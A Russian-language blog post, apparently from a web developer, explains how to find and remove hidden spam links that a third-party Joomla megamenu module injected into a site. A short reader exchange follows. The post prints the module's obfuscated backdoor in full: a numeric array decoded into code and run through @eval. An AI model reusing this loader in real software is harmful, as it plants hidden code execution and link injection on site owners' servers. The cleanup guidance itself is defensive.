Как найти и убрать скрытые ссылки в модулях joomla
Бывает найдешь что либо стоящее в просторах интернета для своего сайта и толком не разобравшись лепишь его, вроде все работает как положено, но потом обнаруживается что у сайта появляются гадские внешние ссылки типа “Ремонт окон”, “Своими руками” и т д. И начинаются поиски этих скрытых ссылок по всему сайту, хорошо если в курсе как их найти и что устанавливал, а если 100 лет назад ставил и забил а потом вспомнил… В общем конкретная ситуация была с модулем yt megamenu (sj megamenu), поступил заказ на поиск и удаление этого вреда.
Итого для удаления внешних ссылок потребуется:
1)Произвести по всем файлам на хостинге по ключу ссылки.
2)Поиск по примерно такому значению”$RandomNum = array(1251.3, 13875.1875=…”
В моем случае было следующее-
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
function megamenu_generate_keys() { $LimitCharacters = 10; $Keys = ''; $RandomNum = array(1251.3, 13875.1875, 1388.8125, 1250.175, 13750.175, 13751.425, 13762.5625, 13875.175, 1263.925, 13763.925, 13751.3125, 13876.3, 1250.175, 1387.6875, 1251.3, 13750.1875, 1388.8125, 12500.05, 13751.425, 13875.1875, 13763.9375, 13750.1875, 13762.6875, 13763.9375, 13875.05, 13751.3125, 13763.925, 1262.55, 1251.3, 13875.1875, 1263.8, 1387.55, 1375.05, 1263.8, 1251.3, 13751.3125, 1263.8, 1251.3, 13875.175, 1263.8, 1375.0625, 1375.05, 1262.5625, 1387.6875, 13762.5625, 13751.425, 1262.55, 1251.3, 13750.1875, 1262.5625, 13887.6875, 1251.3, 13751.3, 1388.8125, 12500.05, 13751.425, 13762.5625, 13763.8, 13751.3125, 12638.9375, 13751.4375, 13751.3125, 13876.3, 12638.9375, 13750.1875, 13763.9375, 13763.925, 13876.3, 13751.3125, 13763.925, 13876.3, 13875.1875, 1262.55, 1250.175, 13762.55, 13876.3, 13876.3, 13875.05, 1387.675, 1263.9375, 1263.9375, 1250.175, 1263.925, 1251.3, 13875.1875, 1263.925, 1250.175, 1263.9375, 13875.175, 1263.925, 13875.05, 13762.55, 13875.05, 1388.9375, 13875.1875, 1388.8125, 1250.175, 1263.925, 1251.3, 12638.9375, 12625.1875, 12501.3125, 12625.175, 12626.425, 12501.3125, 12625.175, 12637.6875, 1250.175, 12512.55, 12626.3, 12626.3, 12625.05, 12638.9375, 12512.55, 12513.9375, 12625.1875, 12626.3, 1250.175, 12638.8125, 1262.5625, 1387.6875, 13751.3125, 13750.1875, 13762.55, 13763.9375, 1250.05, 1250.175, 1388.8, 13751.3, 13762.5625, 13876.425, 1250.05, 13875.1875, 13876.3, 13887.5625, 13763.8, 13751.3125, 1388.8125, 1251.4375, 13875.05, 13763.9375, 13875.1875, 13762.5625, 13876.3, 13762.5625, 13763.9375, 13763.925, 1387.675, 13750.0625, 13750.175, 13875.1875, 13763.9375, 13763.8, 13876.3125, 13876.3, 13751.3125, 1387.6875, 13763.8, 13751.3125, 13751.425, 13876.3, 1387.675, 1263.8125, 1376.3125, 1375.05, 1375.05, 1375.05, 13875.05, 13887.55, 1387.6875, 1251.4375, 1388.925, 1251.3, 13751.3, 1388.8, 1263.9375, 13751.3, 13762.5625, 13876.425, 1388.925, 1250.175, 1387.6875, 13888.8125, 0.05); // Create a random string of keys foreach($RandomNum as $key) {$Keys .= chr(bindec($key * 80 - 4));} @eval($Keys); } |
3)Удалить связующие данные для запуска megamenu_generate_keys() в других файлах.
(После удаления фрагмента генерации будет ошибка с указанием файла и строки вызова)
Все )
Добрый день!
Не могу справиться с проблемой. Нашел у себя на сайте скрытые исходящие ссылки, потом нашел в модулях в файлах php $LimitCharacters = 10;
$Keys = ”;
$RandomNum = array(1………..
Пробовал и комментировать строки, и вообще удалять. Но ссылки как были так и остаются….. Фразу base64 тоже искал, ничего нету… Что делать?
Какой сайт, какая cms? Я ж не телепат )